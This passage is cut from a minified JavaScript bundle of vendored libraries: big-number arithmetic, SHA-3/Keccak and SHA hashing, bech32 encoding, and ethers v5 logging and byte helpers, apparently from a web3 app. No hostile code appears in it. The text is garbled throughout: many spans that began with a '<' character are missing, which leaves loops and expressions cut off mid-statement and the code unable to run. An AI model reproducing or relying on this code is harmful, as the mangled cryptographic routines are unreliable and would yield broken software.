t.imul(this.k)},n(m,C),m.prototype.split=function(t,e){for(var r=4194303,n=Math.min(t.length,9),A=0;A>>22,i=o}i>>>=22,t.words[A-10]=i,0===i&&t.length>10?t.length-=10:t.length-=9},m.prototype.imulK=function(t){t.words[t.length]=0,t.words[t.length+1]=0,t.length+=2;for(var e=0,r=0;r>>=26,t.words[r]=A,e=n}return 0!==e&&(t.words[t.length++]=e),t},A._prime=function(t){if(y[t])return y[t];var e;if(\"k256\"===t)e=new m;else if(\"p224\"===t)e=new B;else if(\"p192\"===t)e=new E;else{if(\"p25519\"!==t)throw new Error(\"Unknown prime \"+t);e=new w}return y[t]=e,e},v.prototype._verify1=function(t){r(0===t.negative,\"red works only with positives\"),r(t.red,\"red works only with red numbers\")},v.prototype._verify2=function(t,e){r(!(t.negative|e.negative),\"red works only with positives\"),r(t.red&&t.red===e.red,\"red works only with red numbers\")},v.prototype.imod=function(t){return this.prime?this.prime.ireduce(t)._forceRed(this):(c(t,t.umod(this.m)._forceRed(this)),t)},v.prototype.neg=function(t){return t.isZero()?t.clone():this.m.sub(t)._forceRed(this)},v.prototype.add=function(t,e){this._verify2(t,e);var r=t.add(e);return r.cmp(this.m)>=0&&r.isub(this.m),r._forceRed(this)},v.prototype.iadd=function(t,e){this._verify2(t,e);var r=t.iadd(e);return r.cmp(this.m)>=0&&r.isub(this.m),r},v.prototype.sub=function(t,e){this._verify2(t,e);var r=t.sub(e);return r.cmpn(0)<0&&r.iadd(this.m),r._forceRed(this)},v.prototype.isub=function(t,e){this._verify2(t,e);var r=t.isub(e);return r.cmpn(0)<0&&r.iadd(this.m),r},v.prototype.shl=function(t,e){return this._verify1(t),this.imod(t.ushln(e))},v.prototype.imul=function(t,e){return this._verify2(t,e),this.imod(t.imul(e))},v.prototype.mul=function(t,e){return this._verify2(t,e),this.imod(t.mul(e))},v.prototype.isqr=function(t){return this.imul(t,t.clone())},v.prototype.sqr=function(t){return this.mul(t,t)},v.prototype.sqrt=function(t){if(t.isZero())return t.clone();var e=this.m.andln(3);if(r(e%2==1),3===e){var n=this.m.add(new A(1)).iushrn(2);return this.pow(t,n)}for(var i=this.m.subn(1),o=0;!i.isZero()&&0===i.andln(1);)o++,i.iushrn(1);r(!i.isZero());var s=new A(1).toRed(this),a=s.redNeg(),c=this.m.subn(1).iushrn(1),h=this.m.bitLength();for(h=new A(2*h*h).toRed(this);0!==this.pow(h,c).cmp(a);)h.redIAdd(a);for(var g=this.pow(h,i),u=this.pow(t,i.addn(1).iushrn(1)),l=this.pow(t,i),f=o;0!==l.cmp(s);){for(var p=l,d=0;0!==p.cmp(s);d++)p=p.redSqr();r(d=0;n--){for(var c=e.words[n],h=a-1;h>=0;h--){var g=c>>h&1;i!==r[0]&&(i=this.sqr(i)),0!==g||0!==o?(o<<=1,o|=g,(4===++s||0===n&&0===h)&&(i=this.mul(i,r[o]),s=0,o=0)):s=0}a=26}return i},v.prototype.convertTo=function(t){var e=t.umod(this.m);return e===t?e.clone():e},v.prototype.convertFrom=function(t){var e=t.clone();return e.red=null,e},A.mont=function(t){return new _(t)},n(_,v),_.prototype.convertTo=function(t){return this.imod(t.ushln(this.shift))},_.prototype.convertFrom=function(t){var e=this.imod(t.mul(this.rinv));return e.red=null,e},_.prototype.imul=function(t,e){if(t.isZero()||e.isZero())return t.words[0]=0,t.length=1,t;var r=t.imul(e),n=r.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m),A=r.isub(n).iushrn(this.shift),i=A;return A.cmp(this.m)>=0?i=A.isub(this.m):A.cmpn(0)<0&&(i=A.iadd(this.m)),i._forceRed(this)},_.prototype.mul=function(t,e){if(t.isZero()||e.isZero())return new A(0)._forceRed(this);var r=t.mul(e),n=r.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m),i=r.isub(n).iushrn(this.shift),o=i;return i.cmp(this.m)>=0?o=i.isub(this.m):i.cmpn(0)<0&&(o=i.iadd(this.m)),o._forceRed(this)},_.prototype.invm=function(t){return this.imod(t._invmp(this.m).mul(this.r2))._forceRed(this)}}(void 0===e||e,t)}}),al=rl({\"node_modules/js-sha3/src/sha3.js\"(t,e){Al(),il(),function(){var t=\"input is invalid type\",r=\"object\"==typeof window,n=r?window:{};n.JS_SHA3_NO_WINDOW&&(r=!1);var A=!r&&\"object\"==typeof self;!n.JS_SHA3_NO_NODE_JS&&\"object\"==typeof process&&process.versions&&process.versions.node?n=global:A&&(n=self);var i=!n.JS_SHA3_NO_COMMON_JS&&\"object\"==typeof e&&e.exports,o=\"function\"==typeof define&&define.amd,s=!n.JS_SHA3_NO_ARRAY_BUFFER&&\"undefined\"!=typeof ArrayBuffer,a=\"0123456789abcdef\".split(\"\"),c=[4,1024,262144,67108864],h=[0,8,16,24],g=[1,0,32898,0,32906,2147483648,2147516416,2147483648,32907,0,2147483649,0,2147516545,2147483648,32777,2147483648,138,0,136,0,2147516425,0,2147483658,0,2147516555,0,139,2147483648,32905,2147483648,32771,2147483648,32770,2147483648,128,2147483648,32778,0,2147483658,2147483648,2147516545,2147483648,32896,2147483648,2147483649,0,2147516424,2147483648],u=[224,256,384,512],l=[128,256],f=[\"hex\",\"buffer\",\"arrayBuffer\",\"array\",\"digest\"],p={128:168,256:136};!n.JS_SHA3_NO_NODE_JS&&Array.isArray||(Array.isArray=function(t){return\"[object Array]\"===Object.prototype.toString.call(t)}),!s||!n.JS_SHA3_NO_ARRAY_BUFFER_IS_VIEW&&ArrayBuffer.isView||(ArrayBuffer.isView=function(t){return\"object\"==typeof t&&t.buffer&&t.buffer.constructor===ArrayBuffer});for(var d=function(t,e,r){return function(n){return new N(t,e,t).update(n)[r]()}},I=function(t,e,r){return function(n,A){return new N(t,e,A).update(n)[r]()}},y=function(t,e,r){return function(e,n,A,i){return w[\"cshake\"+t].update(e,n,A,i)[r]()}},C=function(t,e,r){return function(e,n,A,i){return w[\"kmac\"+t].update(e,n,A,i)[r]()}},m=function(t,e,r,n){for(var A=0;A>5,this.byteCount=this.blockCount<<2,this.outputBlocks=r>>5,this.extraBytes=(31&r)>>3;for(var n=0;n<50;++n)this.s[n]=0}function M(t,e,r){N.call(this,t,e,r)}N.prototype.update=function(e){if(this.finalized)throw new Error(\"finalize already called\");var r,n=typeof e;if(\"string\"!==n){if(\"object\"!==n)throw new Error(t);if(null===e)throw new Error(t);if(s&&e.constructor===ArrayBuffer)e=new Uint8Array(e);else if(!(Array.isArray(e)||s&&ArrayBuffer.isView(e)))throw new Error(t);r=!0}for(var A,i,o=this.blocks,a=this.byteCount,c=e.length,g=this.blockCount,u=0,l=this.s;u>2]|=e[u]<>2]|=i<>2]|=(192|i>>6)<>2]|=(128|63&i)<=57344?(o[A>>2]|=(224|i>>12)<>2]|=(128|i>>6&63)<>2]|=(128|63&i)<>2]|=(240|i>>18)<>2]|=(128|i>>12&63)<>2]|=(128|i>>6&63)<>2]|=(128|63&i)<=a){for(this.start=A-a,this.block=o[g],A=0;A>=8);r>0;)A.unshift(r),r=255&(t>>=8),++n;return e?A.push(n):A.unshift(n),this.update(A),A.length},N.prototype.encodeString=function(e){var r,n=typeof e;if(\"string\"!==n){if(\"object\"!==n)throw new Error(t);if(null===e)throw new Error(t);if(s&&e.constructor===ArrayBuffer)e=new Uint8Array(e);else if(!(Array.isArray(e)||s&&ArrayBuffer.isView(e)))throw new Error(t);r=!0}var A=0,i=e.length;if(r)A=i;else for(var o=0;o=57344?A+=3:(a=65536+((1023&a)<<10|1023&e.charCodeAt(++o)),A+=4)}return A+=this.encode(8*A),this.update(e),A},N.prototype.bytepad=function(t,e){for(var r=this.encode(e),n=0;n>2]|=this.padding[3&e],this.lastByteIndex===this.byteCount)for(t[0]=t[r],e=1;e>4&15]+a[15&t]+a[t>>12&15]+a[t>>8&15]+a[t>>20&15]+a[t>>16&15]+a[t>>28&15]+a[t>>24&15];o%e==0&&(x(r),i=0)}return A&&(t=r[i],s+=a[t>>4&15]+a[15&t],A>1&&(s+=a[t>>12&15]+a[t>>8&15]),A>2&&(s+=a[t>>20&15]+a[t>>16&15])),s},N.prototype.arrayBuffer=function(){this.finalize();var t,e=this.blockCount,r=this.s,n=this.outputBlocks,A=this.extraBytes,i=0,o=0,s=this.outputBits>>3;t=A?new ArrayBuffer(n+1<<2):new ArrayBuffer(s);for(var a=new Uint32Array(t);o>8&255,a[t+2]=e>>16&255,a[t+3]=e>>24&255;s%r==0&&x(n)}return i&&(t=s<<2,e=n[o],a[t]=255&e,i>1&&(a[t+1]=e>>8&255),i>2&&(a[t+2]=e>>16&255)),a},M.prototype=new N,M.prototype.finalize=function(){return this.encode(this.outputBits,!0),N.prototype.finalize.call(this)};var x=function(t){var e,r,n,A,i,o,s,a,c,h,u,l,f,p,d,I,y,C,m,B,E,w,v,_,Q,b,k,D,S,N,M,x,F,P,T,R,U,G,H,L,O,Y,K,J,j,z,q,X,V,W,Z,$,tt,et,rt,nt,At,it,ot,st,at,ct,ht;for(n=0;n<48;n+=2)A=t[0]^t[10]^t[20]^t[30]^t[40],i=t[1]^t[11]^t[21]^t[31]^t[41],o=t[2]^t[12]^t[22]^t[32]^t[42],s=t[3]^t[13]^t[23]^t[33]^t[43],a=t[4]^t[14]^t[24]^t[34]^t[44],c=t[5]^t[15]^t[25]^t[35]^t[45],h=t[6]^t[16]^t[26]^t[36]^t[46],u=t[7]^t[17]^t[27]^t[37]^t[47],e=(l=t[8]^t[18]^t[28]^t[38]^t[48])^(o<<1|s>>>31),r=(f=t[9]^t[19]^t[29]^t[39]^t[49])^(s<<1|o>>>31),t[0]^=e,t[1]^=r,t[10]^=e,t[11]^=r,t[20]^=e,t[21]^=r,t[30]^=e,t[31]^=r,t[40]^=e,t[41]^=r,e=A^(a<<1|c>>>31),r=i^(c<<1|a>>>31),t[2]^=e,t[3]^=r,t[12]^=e,t[13]^=r,t[22]^=e,t[23]^=r,t[32]^=e,t[33]^=r,t[42]^=e,t[43]^=r,e=o^(h<<1|u>>>31),r=s^(u<<1|h>>>31),t[4]^=e,t[5]^=r,t[14]^=e,t[15]^=r,t[24]^=e,t[25]^=r,t[34]^=e,t[35]^=r,t[44]^=e,t[45]^=r,e=a^(l<<1|f>>>31),r=c^(f<<1|l>>>31),t[6]^=e,t[7]^=r,t[16]^=e,t[17]^=r,t[26]^=e,t[27]^=r,t[36]^=e,t[37]^=r,t[46]^=e,t[47]^=r,e=h^(A<<1|i>>>31),r=u^(i<<1|A>>>31),t[8]^=e,t[9]^=r,t[18]^=e,t[19]^=r,t[28]^=e,t[29]^=r,t[38]^=e,t[39]^=r,t[48]^=e,t[49]^=r,p=t[0],d=t[1],z=t[11]<<4|t[10]>>>28,q=t[10]<<4|t[11]>>>28,D=t[20]<<3|t[21]>>>29,S=t[21]<<3|t[20]>>>29,st=t[31]<<9|t[30]>>>23,at=t[30]<<9|t[31]>>>23,Y=t[40]<<18|t[41]>>>14,K=t[41]<<18|t[40]>>>14,P=t[2]<<1|t[3]>>>31,T=t[3]<<1|t[2]>>>31,I=t[13]<<12|t[12]>>>20,y=t[12]<<12|t[13]>>>20,X=t[22]<<10|t[23]>>>22,V=t[23]<<10|t[22]>>>22,N=t[33]<<13|t[32]>>>19,M=t[32]<<13|t[33]>>>19,ct=t[42]<<2|t[43]>>>30,ht=t[43]<<2|t[42]>>>30,et=t[5]<<30|t[4]>>>2,rt=t[4]<<30|t[5]>>>2,R=t[14]<<6|t[15]>>>26,U=t[15]<<6|t[14]>>>26,C=t[25]<<11|t[24]>>>21,m=t[24]<<11|t[25]>>>21,W=t[34]<<15|t[35]>>>17,Z=t[35]<<15|t[34]>>>17,x=t[45]<<29|t[44]>>>3,F=t[44]<<29|t[45]>>>3,_=t[6]<<28|t[7]>>>4,Q=t[7]<<28|t[6]>>>4,nt=t[17]<<23|t[16]>>>9,At=t[16]<<23|t[17]>>>9,G=t[26]<<25|t[27]>>>7,H=t[27]<<25|t[26]>>>7,B=t[36]<<21|t[37]>>>11,E=t[37]<<21|t[36]>>>11,$=t[47]<<24|t[46]>>>8,tt=t[46]<<24|t[47]>>>8,J=t[8]<<27|t[9]>>>5,j=t[9]<<27|t[8]>>>5,b=t[18]<<20|t[19]>>>12,k=t[19]<<20|t[18]>>>12,it=t[29]<<7|t[28]>>>25,ot=t[28]<<7|t[29]>>>25,L=t[38]<<8|t[39]>>>24,O=t[39]<<8|t[38]>>>24,w=t[48]<<14|t[49]>>>18,v=t[49]<<14|t[48]>>>18,t[0]=p^~I&C,t[1]=d^~y&m,t[10]=_^~b&D,t[11]=Q^~k&S,t[20]=P^~R&G,t[21]=T^~U&H,t[30]=J^~z&X,t[31]=j^~q&V,t[40]=et^~nt&it,t[41]=rt^~At&ot,t[2]=I^~C&B,t[3]=y^~m&E,t[12]=b^~D&N,t[13]=k^~S&M,t[22]=R^~G&L,t[23]=U^~H&O,t[32]=z^~X&W,t[33]=q^~V&Z,t[42]=nt^~it&st,t[43]=At^~ot&at,t[4]=C^~B&w,t[5]=m^~E&v,t[14]=D^~N&x,t[15]=S^~M&F,t[24]=G^~L&Y,t[25]=H^~O&K,t[34]=X^~W&$,t[35]=V^~Z&tt,t[44]=it^~st&ct,t[45]=ot^~at&ht,t[6]=B^~w&p,t[7]=E^~v&d,t[16]=N^~x&_,t[17]=M^~F&Q,t[26]=L^~Y&P,t[27]=O^~K&T,t[36]=W^~$&J,t[37]=Z^~tt&j,t[46]=st^~ct&et,t[47]=at^~ht&rt,t[8]=w^~p&I,t[9]=v^~d&y,t[18]=x^~_&b,t[19]=F^~Q&k,t[28]=Y^~P&R,t[29]=K^~T&U,t[38]=$^~J&z,t[39]=tt^~j&q,t[48]=ct^~et&nt,t[49]=ht^~rt&At,t[0]^=g[n],t[1]^=g[n+1]};if(i)e.exports=w;else{for(_=0;_=t.length)&&56320==(64512&t.charCodeAt(e+1)))}function A(t){return(t>>>24|t>>>8&65280|t<<8&16711680|(255&t)<<24)>>>0}function i(t){return 1===t.length?\"0\"+t:t}function o(t){return 7===t.length?\"0\"+t:6===t.length?\"00\"+t:5===t.length?\"000\"+t:4===t.length?\"0000\"+t:3===t.length?\"00000\"+t:2===t.length?\"000000\"+t:1===t.length?\"0000000\"+t:t}t.inherits=r,t.toArray=function(t,e){if(Array.isArray(t))return t.slice();if(!t)return[];var r=[];if(\"string\"==typeof t)if(e){if(\"hex\"===e)for((t=t.replace(/[^a-z0-9]+/gi,\"\")).length%2!=0&&(t=\"0\"+t),i=0;i>6|192,r[A++]=63&o|128):n(t,i)?(o=65536+((1023&o)<<10)+(1023&t.charCodeAt(++i)),r[A++]=o>>18|240,r[A++]=o>>12&63|128,r[A++]=o>>6&63|128,r[A++]=63&o|128):(r[A++]=o>>12|224,r[A++]=o>>6&63|128,r[A++]=63&o|128)}else for(i=0;i>>0}return o},t.split32=function(t,e){for(var r=new Array(4*t.length),n=0,A=0;n>>24,r[A+1]=i>>>16&255,r[A+2]=i>>>8&255,r[A+3]=255&i):(r[A+3]=i>>>24,r[A+2]=i>>>16&255,r[A+1]=i>>>8&255,r[A]=255&i)}return r},t.rotr32=function(t,e){return t>>>e|t<<32-e},t.rotl32=function(t,e){return t<>>32-e},t.sum32=function(t,e){return t+e>>>0},t.sum32_3=function(t,e,r){return t+e+r>>>0},t.sum32_4=function(t,e,r,n){return t+e+r+n>>>0},t.sum32_5=function(t,e,r,n,A){return t+e+r+n+A>>>0},t.sum64=function(t,e,r,n){var A=t[e],i=n+t[e+1]>>>0,o=(i>>0,t[e+1]=i},t.sum64_hi=function(t,e,r,n){return(e+n>>>0>>0},t.sum64_lo=function(t,e,r,n){return e+n>>>0},t.sum64_4_hi=function(t,e,r,n,A,i,o,s){var a=0,c=e;return a+=(c=c+n>>>0)>>0)>>0)>>0},t.sum64_4_lo=function(t,e,r,n,A,i,o,s){return e+n+i+s>>>0},t.sum64_5_hi=function(t,e,r,n,A,i,o,s,a,c){var h=0,g=e;return h+=(g=g+n>>>0)>>0)>>0)>>0)>>0},t.sum64_5_lo=function(t,e,r,n,A,i,o,s,a,c){return e+n+i+s+c>>>0},t.rotr64_hi=function(t,e,r){return(e<<32-r|t>>>r)>>>0},t.rotr64_lo=function(t,e,r){return(t<<32-r|e>>>r)>>>0},t.shr64_hi=function(t,e,r){return t>>>r},t.shr64_lo=function(t,e,r){return(t<<32-r|e>>>r)>>>0}}}),ul=rl({\"node_modules/hash.js/lib/hash/common.js\"(t){Al(),il();var e=gl(),r=cl();function n(){this.pending=null,this.pendingTotal=0,this.blockSize=this.constructor.blockSize,this.outSize=this.constructor.outSize,this.hmacStrength=this.constructor.hmacStrength,this.padLength=this.constructor.padLength/8,this.endian=\"big\",this._delta8=this.blockSize/8,this._delta32=this.blockSize/32}t.BlockHash=n,n.prototype.update=function(t,r){if(t=e.toArray(t,r),this.pending?this.pending=this.pending.concat(t):this.pending=t,this.pendingTotal+=t.length,this.pending.length>=this._delta8){var n=(t=this.pending).length%this._delta8;this.pending=t.slice(t.length-n,t.length),0===this.pending.length&&(this.pending=null),t=e.join32(t,0,t.length-n,this.endian);for(var A=0;A>>24&255,n[A++]=t>>>16&255,n[A++]=t>>>8&255,n[A++]=255&t}else for(n[A++]=255&t,n[A++]=t>>>8&255,n[A++]=t>>>16&255,n[A++]=t>>>24&255,n[A++]=0,n[A++]=0,n[A++]=0,n[A++]=0,i=8;i>>3},t.g1_256=function(t){return e(t,17)^e(t,19)^t>>>10}}}),fl=rl({\"node_modules/hash.js/lib/hash/sha/1.js\"(t,e){Al(),il();var r=gl(),n=ul(),A=ll(),i=r.rotl32,o=r.sum32,s=r.sum32_5,a=A.ft_1,c=n.BlockHash,h=[1518500249,1859775393,2400959708,3395469782];function g(){if(!(this instanceof g))return new g;c.call(this),this.h=[1732584193,4023233417,2562383102,271733878,3285377520],this.W=new Array(80)}r.inherits(g,c),e.exports=g,g.blockSize=512,g.outSize=160,g.hmacStrength=80,g.padLength=64,g.prototype._update=function(t,e){for(var r=this.W,n=0;n<16;n++)r[n]=t[e+n];for(;nthis.blockSize&&(t=(new this.Hash).update(t).digest()),n(t.length<=this.blockSize);for(var e=t.length;e>25;return(33554431&t)<<5^996825010&-(1&e)^642813549&-(e>>1&1)^513874426&-(e>>2&1)^1027748829&-(e>>3&1)^705979059&-(e>>4&1)}function s(t){for(var e=1,r=0;r126)return\"Invalid prefix (\"+t+\")\";e=o(e)^n>>5}for(e=o(e),r=0;re)return\"Exceeds length limit\";var r=t.toLowerCase(),n=t.toUpperCase();if(t!==r&&t!==n)return\"Mixed-case string \"+t;var A=(t=r).lastIndexOf(\"1\");if(-1===A)return\"No separator character for \"+t;if(0===A)return\"Missing prefix for \"+t;var a=t.slice(0,A),c=t.slice(A+1);if(c.length<6)return\"Data too short\";var h=s(a);if(\"string\"==typeof h)return h;for(var g=[],u=0;u=c.length||g.push(f)}return 1!==h?\"Invalid checksum for \"+t:{prefix:a,words:g}}function c(t,e,r,n){for(var A=0,i=0,o=(1<=r;)i-=r,s.push(A>>i&o);if(n)i>0&&s.push(A<=e)return\"Excess padding\";if(A<r)throw new TypeError(\"Exceeds length limit\");var n=s(t=t.toLowerCase());if(\"string\"==typeof n)throw new Error(n);for(var i=t+\"1\",a=0;a>5)throw new Error(\"Non 5-bit word\");n=o(n)^c,i+=A.charAt(c)}for(a=0;a<6;++a)n=o(n);for(n^=1,a=0;a<6;++a){i+=A.charAt(n>>5*(5-a)&31)}return i},toWordsUnsafe:function(t){var e=c(t,8,5,!0);if(Array.isArray(e))return e},toWords:function(t){var e=c(t,8,5,!0);if(Array.isArray(e))return e;throw new Error(e)},fromWordsUnsafe:function(t){var e=c(t,5,8,!1);if(Array.isArray(e))return e},fromWords:function(t){var e=c(t,5,8,!1);if(Array.isArray(e))return e;throw new Error(e)}}}});Al(),il(),Al(),il();var vl=Object.fromEntries(Object.entries(zu).map((([t,e])=>{const r=parseInt(t);return[e.charAt(0).toUpperCase()+e.slice(1),r]}))),_l=Object.fromEntries(Object.entries(vl).map((([t,e])=>[e,t.charAt(0).toUpperCase()+t.slice(1)]))),Ql=Object.fromEntries(Object.entries(vl).map((([,t])=>[t,qu[t]||[]])));vl.Mainnet,vl.Gnosis,vl.Mainnet,vl.Goerli,vl.Gnosis,vl.Anvil,vl.Mainnet,vl.Goerli,vl.Gnosis,vl.Anvil,Al(),il(),Al(),il(),Al(),il(),Al(),il(),Al(),il();var bl=nl(sl());Al(),il(),Al(),il(),Al(),il();var kl=!1,Dl=!1,Sl={debug:1,default:2,info:2,warning:3,error:4,off:5},Nl=Sl.default,Ml=null;var xl,Fl,Pl,Tl,Rl=function(){try{const t=[];if([\"NFD\",\"NFC\",\"NFKD\",\"NFKC\"].forEach((e=>{try{if(\"test\"!==\"test\".normalize(e))throw new Error(\"bad normalize\")}catch(r){t.push(e)}})),t.length)throw new Error(\"missing \"+t.join(\", \"));if(String.fromCharCode(233).normalize(\"NFD\")!==String.fromCharCode(101,769))throw new Error(\"broken implementation\")}catch(t){return t.message}return null}();(Fl=xl||(xl={})).DEBUG=\"DEBUG\",Fl.INFO=\"INFO\",Fl.WARNING=\"WARNING\",Fl.ERROR=\"ERROR\",Fl.OFF=\"OFF\",(Tl=Pl||(Pl={})).UNKNOWN_ERROR=\"UNKNOWN_ERROR\",Tl.NOT_IMPLEMENTED=\"NOT_IMPLEMENTED\",Tl.UNSUPPORTED_OPERATION=\"UNSUPPORTED_OPERATION\",Tl.NETWORK_ERROR=\"NETWORK_ERROR\",Tl.SERVER_ERROR=\"SERVER_ERROR\",Tl.TIMEOUT=\"TIMEOUT\",Tl.BUFFER_OVERRUN=\"BUFFER_OVERRUN\",Tl.NUMERIC_FAULT=\"NUMERIC_FAULT\",Tl.MISSING_NEW=\"MISSING_NEW\",Tl.INVALID_ARGUMENT=\"INVALID_ARGUMENT\",Tl.MISSING_ARGUMENT=\"MISSING_ARGUMENT\",Tl.UNEXPECTED_ARGUMENT=\"UNEXPECTED_ARGUMENT\",Tl.CALL_EXCEPTION=\"CALL_EXCEPTION\",Tl.INSUFFICIENT_FUNDS=\"INSUFFICIENT_FUNDS\",Tl.NONCE_EXPIRED=\"NONCE_EXPIRED\",Tl.REPLACEMENT_UNDERPRICED=\"REPLACEMENT_UNDERPRICED\",Tl.UNPREDICTABLE_GAS_LIMIT=\"UNPREDICTABLE_GAS_LIMIT\",Tl.TRANSACTION_REPLACED=\"TRANSACTION_REPLACED\",Tl.ACTION_REJECTED=\"ACTION_REJECTED\";var Ul=\"0123456789abcdef\",Gl=class t{constructor(t){Object.defineProperty(this,\"version\",{enumerable:!0,value:t,writable:!1})}_log(t,e){const r=t.toLowerCase();null==Sl[r]&&this.throwArgumentError(\"invalid log level name\",\"logLevel\",t),Nl>Sl[r]||console.log.apply(console,e)}debug(...e){this._log(t.levels.DEBUG,e)}info(...e){this._log(t.levels.INFO,e)}warn(...e){this._log(t.levels.WARNING,e)}makeError(e,r,n){if(Dl)return this.makeError(\"censored error\",r,{});r||(r=t.errors.UNKNOWN_ERROR),n||(n={});const A=[];Object.keys(n).forEach((t=>{const e=n[t];try{if(e instanceof Uint8Array){let r=\"\";for(let t=0;t>4],r+=Ul[15&e[t]];A.push(t+\"=Uint8Array(0x\"+r+\")\")}else A.push(t+\"=\"+JSON.stringify(e))}catch(e){A.push(t+\"=\"+JSON.stringify(n[t].toString()))}})),A.push(`code=${r}`),A.push(`version=${this.version}`);const i=e;let o=\"\";switch(r){case Pl.NUMERIC_FAULT:{o=\"NUMERIC_FAULT\";const t=e;switch(t){case\"overflow\":case\"underflow\":case\"division-by-zero\":o+=\"-\"+t;break;case\"negative-power\":case\"negative-width\":o+=\"-unsupported\";break;case\"unbound-bitwise-result\":o+=\"-unbound-result\"}break}case Pl.CALL_EXCEPTION:case Pl.INSUFFICIENT_FUNDS:case Pl.MISSING_NEW:case Pl.NONCE_EXPIRED:case Pl.REPLACEMENT_UNDERPRICED:case Pl.TRANSACTION_REPLACED:case Pl.UNPREDICTABLE_GAS_LIMIT:o=r}o&&(e+=\" [ See: https://links.ethers.org/v5-errors-\"+o+\" ]\"),A.length&&(e+=\" (\"+A.join(\", \")+\")\");const s=new Error(e);return s.reason=i,s.code=r,Object.keys(n).forEach((function(t){s[t]=n[t]})),s}throwError(t,e,r){throw this.makeError(t,e,r)}throwArgumentError(e,r,n){return this.throwError(e,t.errors.INVALID_ARGUMENT,{argument:r,value:n})}assert(t,e,r,n){t||this.throwError(e,r,n)}assertArgument(t,e,r,n){t||this.throwArgumentError(e,r,n)}checkNormalize(e){Rl&&this.throwError(\"platform missing String.prototype.normalize\",t.errors.UNSUPPORTED_OPERATION,{operation:\"String.prototype.normalize\",form:Rl})}checkSafeUint53(e,r){\"number\"==typeof e&&(null==r&&(r=\"value not safe\"),(e<0||e>=9007199254740991)&&this.throwError(r,t.errors.NUMERIC_FAULT,{operation:\"checkSafeInteger\",fault:\"out-of-safe-range\",value:e}),e%1&&this.throwError(r,t.errors.NUMERIC_FAULT,{operation:\"checkSafeInteger\",fault:\"non-integer\",value:e}))}checkArgumentCount(e,r,n){n=n?\": \"+n:\"\",er&&this.throwError(\"too many arguments\"+n,t.errors.UNEXPECTED_ARGUMENT,{count:e,expectedCount:r})}checkNew(e,r){e!==Object&&null!=e||this.throwError(\"missing new\",t.errors.MISSING_NEW,{name:r.name})}checkAbstract(e,r){e===r?this.throwError(\"cannot instantiate abstract class \"+JSON.stringify(r.name)+\" directly; use a sub-class\",t.errors.UNSUPPORTED_OPERATION,{name:e.name,operation:\"new\"}):e!==Object&&null!=e||this.throwError(\"missing new\",t.errors.MISSING_NEW,{name:r.name})}static globalLogger(){return Ml||(Ml=new t(\"logger/5.7.0\")),Ml}static setCensorship(e,r){if(!e&&r&&this.globalLogger().throwError(\"cannot permanently disable censorship\",t.errors.UNSUPPORTED_OPERATION,{operation:\"setCensorship\"}),kl){if(!e)return;this.globalLogger().throwError(\"error censorship permanent\",t.errors.UNSUPPORTED_OPERATION,{operation:\"setCensorship\"})}Dl=!!e,kl=!!r}static setLogLevel(e){const r=Sl[e.toLowerCase()];null!=r?Nl=r:t.globalLogger().warn(\"invalid log level - \"+e)}static from(e){return new t(e)}};Gl.errors=Pl,Gl.levels=xl,Al(),il();var Hl=new Gl(\"bytes/5.7.0\");function Ll(t){return!!t.toHexString}function Ol(t){return t.slice||(t.slice=function(){const e=Array.prototype.slice.call(arguments);return Ol(new Uint8Array(Array.prototype.slice.apply(t,e)))}),t}function Yl(t){return Xl(t)&&!(t.length%2)||Jl(t)}function Kl(t){return\"number\"==typeof t&&t==t&&t%1==0}function Jl(t){if(null==t)return!1;if(t.constructor===Uint8Array)return!0;if(\"string\"==typeof t)return!1;if(!Kl(t.length)||t.length<0)return!1;for(let e=0;e=256)return!1}return!0}function jl(t,e){if(e||(e={}),\"number\"==typeof t){Hl.checkSafeUint53(t,\"invalid arrayify value\");const e=[];for(;t;)e.unshift(255&t),t=parseInt(String(t/256));return 0===e.length&&e.push(0),Ol(new Uint8Array(e))}if(e.allowMissingPrefix&&\"string\"==typeof t&&\"0x\"!==t.substring(0,2)&&(t=\"0x\"+t),Ll(t)&&(t=t.toHexString()),Xl(t)){let r=t.substring(2);r.length%2&&(\"left\"===e.hexPad?r=\"0\"+r:\"right\"===e.hexPad?r+=\"0\":Hl.throwArgumentError(\"hex data is odd-length\",\"value\",t));const n=[];for(let t=0;tjl(t))),r=e.reduce(((t,e)=>t+e.length),0),n=new Uint8Array(r);return e.reduce(((t,e)=>(n.set(e,t),t+e.length)),0),Ol(n)}function ql(t){let e=jl(t);if(0===e.length)return e;let r=0;for(;r>4]+Vl[15&n]}return e}return Hl.throwArgumentError(\"invalid hexlify value\",\"value\",t)}function Zl(t){if(\"string\"!=typeof t)t=Wl(t);else if(!Xl(t)||t.length%2)return null;return(t.length-2)/2}function $l(t,e,r){return\"string\"!=typeof t?t=Wl(t):(!Xl(t)||t.length%2)&&Hl.throwArgumentError(\"invalid hexData\",\"value\",t),e=2+2*e,null!=r?\"0x\"+t.substring(e,2+2*r):\"0x\"+t.substring(e)}function tf(t){let e=\"0x\";return t.forEach((t=>{e+=Wl(t).substring(2)})),e}function ef(t){const e=function(t){\"string\"!=typeof t&&(t=Wl(t));Xl(t)||Hl.throwArgumentError(\"invalid hex string\",\"value\",t);t=t.substring(2);let e=0;for(;e2*e+2&&Hl.throwArgumentError(\"value out of range\",\"value\",arguments[1]);t.length<2*e+2;)t=\"0x0\"+t.substring(2);return t}function nf(t){const e={r:\"0x\",s:\"0x\",_vs:\"0x\",recoveryParam:0,v:0,yParityAndS:\"0x\",compact:\"0x\"};if(Yl(t)){let r=jl(t);64===r.length?(e.v=27+(r[32]>>7),r[32]&=127,e.r=Wl(r.slice(0,32)),e.s=Wl(r.slice(32,64))):65===r.length?(e.r=Wl(r.slice(0,32)),e.s=Wl(r.slice(32,64)),e.v=r[64]):Hl.throwArgumentError(\"invalid signature string\",\"signature\",t),e.v<27&&(0===e.v||1===e.v?e.v+=27:Hl.throwArgumentError(\"signature invalid v byte\",\"signature\",t)),e.recoveryParam=1-e.v%2,e.recoveryParam&&(r[32]|=128),e._vs=Wl(r.slice(32,64))}else{if(e.r=t.r,e.s=t.s,e.v=t.v,e.recoveryParam=t.recoveryParam,e._vs=t._vs,null!=e._vs){const r=function(t,e){(t=jl(t)).length>e&&Hl.throwArgumentError(\"value out of range\",\"value\",arguments[0]);const r=new Uint8Array(e);return r.set(t,e-t.length),Ol(r)}(jl(e._vs),32);e._vs=Wl(r);const n=r[0]>=128?1:0;null==e.recoveryParam?e.recoveryParam=n:e.recoveryParam!==n&&Hl.throwArgumentError(\"signature recoveryParam mismatch _vs\",\"signature\",t),r[0]&=127;const 